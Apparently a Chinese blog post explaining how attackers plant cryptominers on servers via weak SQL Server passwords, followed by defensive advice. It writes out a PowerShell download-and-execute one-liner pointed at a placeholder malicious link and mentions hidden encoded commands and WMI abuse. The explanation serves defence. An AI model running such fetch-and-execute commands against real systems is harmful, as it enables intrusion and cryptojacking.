服务器是如何被植入挖矿程序的

首先,攻击者利用Sqlserver应用的弱口令漏洞,并借助Sqlserver自身的命令执行组件执行cmd命令

"C:\Windows\system32\cmd.exe" /c whoami

whoami是操作系统中用于查看当前有效用户名的命令

执行ps命令

powershell -c "iex((new-object Net.WebClient).DownloadString('恶意链接'))"
or
"C:\Windows\system32\cmd.exe" /c powershell -c "iex((new-object Net.WebClient).DownloadString('恶意链接'))"

主动连接恶意下载源,下载看起来人畜无害的文件,病毒程序可以只是一张图片

利用PowerShell访问恶意地址 执行命令

-NoProfile -w hidden -EncodedCommand 加密命令

利用脚本宿主scrcons.exe(浏览器主页劫持常常用到它)或WMI
最后下载挖矿程序到本机,启动并开始挖矿

这个过程中恶意链接可以是伪造的虚拟的临时的中间的,真正恶意的地址一定是封装成了看似人畜无害的文件里,读取出文件数据执行一系列ps命令,并下载挖矿程序并执行。

防范手段:
Sqlserver账号密码加固,定期变更
禁止一般用不到却可能被恶意用的命令
监控系统工具的调用
控制出站(服务器通常不需要请求外部,若需要,配置出站白名单)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值